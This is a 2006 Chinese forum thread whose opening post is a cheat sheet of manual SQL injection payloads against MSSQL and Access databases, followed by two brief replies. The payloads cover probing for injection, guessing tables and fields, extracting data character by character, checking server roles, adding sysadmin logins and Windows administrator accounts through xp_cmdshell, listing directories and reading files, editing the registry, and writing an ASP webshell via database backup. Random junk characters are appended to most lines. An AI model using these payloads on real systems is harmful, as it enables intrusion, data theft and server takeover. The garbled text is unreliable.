社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4078阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 m$T?~o o  
  2.初步判断是否是mssql ;and user>0 $=>(7 =l_  
4@,d{qp~  
  3.注入参数是字符'and [查询条件] and ''=' Y{].%xM5  
{`Ekv/XWa  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' yY,O=yOjq  
pdcP;.   
  5.判断数据库系统 H*#L~!]  
Ri$wt.b  
  ;and (select count(*) from sysobjects)>0 mssql Qo*,2B9R L  
JCjQR`)  
  ;and (select count(*) from msysobjects)>0 access ]+1?T)<!  
6S-1Wc4  
s?;rP,{:p  
b9M.p*!  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 2o0.ttBAqZ  
0\ G`AO;D  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 aGK=VN}r  
Q>\y%&df  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ML6V,V/e  
i^c  
  9.(1)猜字段的ascii值(access) K6#9HF'2I  
7X3<8:%  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 N3P!<J/tc  
 &Gp~)%  
  (2)猜字段的ascii值(mssql) x+j5vzhG)  
t`b>iX%(1t  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ->DfT*)  
cY+vnQm  
  10.测试权限结构(mssql) y %dUry%>  
V K/;ohTTP  
"Aw| 7XII  
D-)jmz>R  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Lod$&k@@  
q 6Q;9,  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9N(<OY+Dgm  
Dq/ _#&S  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- FA 1E`AdU  
LOY+^  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- L8<Yk`jx  
3 y!yz3E  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- [aM_.[bf  
AXBv']Y  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- \cq gCab/2  
 3nfw:.  
  ;and 1=(select IS_MEMBER('db_owner'));-- iz'#K?PF_  
}D5*   
,E]u[7A  
Wsb=SM7;  
  11.添加mssql和系统的帐户 ei 1(A  
()=u#y  
  ;exec master.dbo.sp_addlogin username;-- )^+v*=Dc-i  
  ;exec master.dbo.sp_password null,username,password;-- '}a[9v76  
ebk{p <  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ny:c&XS  
Lp\89tB>  
  ;exec master.dbo.xp_cmdshell 'net user username password ".&x`C  
vkE[Ur>  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- qzv$E;zAl  
g%z?O[CN  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- uq;,h46ki  
H \ $04vkR  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 76[O3%  
9XGzQ45R  
>S /Zd  
|CME:;{T  
  12.(1)遍历目录 lf3:Z5*&>  
#4h_(Y  
  ;create table dirs(paths varchar(100), id int) !:Lb^C;/  
$M\[^g(q  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' uMm/$#E  
- #]?3*NO  
  ;and (select top 1 paths from dirs)>0 jEBZ"Jvb  
F^ kH"u[  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 1gp3A  
YQ>P{I%J  
;I'pC?!y  
K~nk:}3Ui  
  (2)遍历目录 7&G[mOx0  
wI +oG  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- c1j)  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 /ZAS%_as  
YH`/;H=$G/  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Gy36{*  
J-lQPMI,  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 5q[0;`J  
q_Td!?2?  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2Up1 FFRx  
;$W/le"Xr  
Y7R"~IA$  
|xaJv:96%  
  13.mssql中的存储过程 O~F/pJN`  
;u LD_1%  
  xp_regenumvalues 注册表根键, 子键 z^ +CD-  
u/FnA-L4  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4VE7%.z+  
|RQ19m@  
  xp_regread 根键,子键,键值名 <a *X&P  
=Haqr*PDx  
  ;exec xp_regread wC@5[e$  
bu"R2~sb  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 +r)'?zU  
W(9fCDO;  
  xp_regwrite 根键,子键, 值名, 值类型, 值 ToIvyeFr  
.fxI)  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 CQfrAk4mu  
-ecP@,  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6L~@jg~0A[  
\RZFq<6>  
  xp_regdeletevalue 根键,子键,值名 *a Y`[,4#$  
*&)<'6  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 c8mcJAc  
(x9d7$2  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $NP5Z0v7  
7G}vQO  
0N.tPF}  
Q[i/]  
  14.mssql的backup创建webshell ug!DL=ZW  
BDY@&vF  
  use model }x4,a6^  
,J?Hdy:R  
  create table cmd(str image); -}k'a{sj=  
Ee>P*7*jB  
  insert into cmd(str) values (''); 0j%@P[zQ  
ZjLzS]\a  
  backup database model to disk='c:\l.asp'; LH.. 8nfl  
e47JLW&b  
le`&VdE^  
)F 6#n&2  
  15.mssql内置函数 N m-{$U  
VY8 p[`  
  ;and (select @@version)>0 获得Windows的版本号 D1bS=> ;,"  
#V[ ?puE@  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa U:>'^tkp  
|E-0P=h  
  ;and (select user_name())>0 爆当前系统的连接用户 N!DAn \g  
k;:v~7VF  
  ;and (select db_name())>0 得到当前连接的数据库 l5S (x Q  
UwY<3ul  
'X{cDdS^  
+uW$/_Y$  
  16.简洁的webshell N)A?*s'v~  
qWe1`.o  
  use model 9@C3jZ+9`H  
o9M[Zr1@k  
  create table cmd(str image); ''!pvxA  
*!UY;InanX  
  insert into cmd(str) values (''); 5=Mm=HyI2  
|jm|/{lc  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八